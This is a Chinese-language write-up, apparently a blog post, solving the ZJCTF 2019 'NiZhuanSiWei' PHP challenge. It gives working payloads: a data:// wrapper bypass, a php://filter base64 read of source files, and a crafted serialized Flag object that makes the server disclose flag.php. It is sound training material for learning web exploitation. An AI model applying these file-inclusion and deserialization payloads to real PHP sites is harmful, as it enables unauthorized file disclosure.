[ZJCTF 2019]NiZhuanSiWei

 代码审计:

先看第一段

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

看到有file_get_contents函数,先去查询一下

这里可以知道第一段绕过是需要我们传入text文件,并且文件内容为welcome to the zjctf。既然是需要传入文件,这里我们就要使用文件包含漏洞的一些东西了。

需要了解文件包含漏洞的请移步至 文件包含漏洞-CSDN博客

这里使用data://协议来传入我们需要的文件和内容

既然是需要文件内容为welcome to the zjctf的文件,这里构造

data://text/plain,welcome to the zjctf

并传入text变量中,所以整体payload为

?text=data://text/plain,welcome to the zjctf

之后我们进行绕过第二段语句。

if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

这里我们还是先了解一下preg_match函数

发现这段使用正则表达式过滤掉了flag(因为我们用到的是else里的代码,而不是if正确后的代码),并且注释中给了//useless.php。所以这里我们需要读出useless.php中的内容。

这里使用php://协议

构造

php://filter/convert.base64-encode/resource=./useless.php

payload为

&file=php://filter/convert.base64-encode/resource=./useless.php

读出被base64加密后的代码

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

解码后看到源代码为

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

之后进行反序列化。

这里将useless.php和原页面代码联系起来进行构造序列化

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$password = unserialize($password);
echo $password;
?> 

构造序列化代码

<?php  

class Flag{  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$password = new Flag();
echo serialize($password);
?> 

之后运行该php代码得到序列化代码

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

构造payload为

&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

最终payload为

?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后点击f12即可找到flag

PS:

最终payload中file为useless.php,不需要再使用php://filter来读取文件内容,因为

在源代码中需要我们include useless.php代码,而不是读取useless.php代码。

posted @ 2024-04-16 08:00  霾散  阅读(71)  评论(0)    收藏  举报  来源